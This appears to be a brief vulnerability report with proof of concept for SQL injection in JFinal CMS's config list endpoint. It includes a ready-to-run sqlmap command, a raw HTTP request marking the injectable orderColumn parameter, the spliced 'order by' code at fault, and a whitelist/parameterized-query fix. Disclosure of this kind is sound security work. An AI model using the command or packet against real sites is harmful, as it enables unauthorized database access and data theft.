POC
First of all you should install sqlmap
you need set
- target domain or IP
- your cookie
the run the shell
sqlmap -u http://targetDomainOrIP/jfinal_cms/system/config/list --thread 8 --batch --smart --random-agent --data "oper_type=1&form.orderColumn=*&form.orderAsc=asc&attr.name=&attr.key=&attr.type=-1&totalRecords=16&pageNo=1&pageSize=20&length=10" --cookie " your cookie " --current-db
Sometimes you should know that the /jfinal_cms/ is not necessary ,you need juede the route
principle
you can see the code of interface /system/menu/list
sql.append(" order by ").append(orderBy);
There is a sql statement directly spliced
what is more
There is no measure to prevent sql injection because sql injection is required here
solution
By analyzing this function point, I found that the injection of orderby is fixed, such as id, name, menu key, so you can try to use parameterized query or make a whitelist
PACKET
POST /jfinal_cms/system/config/list HTTP/1.1
Host: 172.30.48.1
Content-Length: 131
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.30.48.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.30.48.1/jfinal_cms/system/config/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=BF13B42EDFC3DEC180959D6DF143BD18; session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="; Hm_lvt_1040d081eea13b44d84a4af639640d51=1659122360,1659131581; Hm_lpvt_1040d081eea13b44d84a4af639640d51=1659131581
Connection: close
oper_type=1&form.orderColumn=*&form.orderAsc=asc&attr.name=&attr.key=&attr.type=-1&totalRecords=16&pageNo=1&pageSize=20&length=10
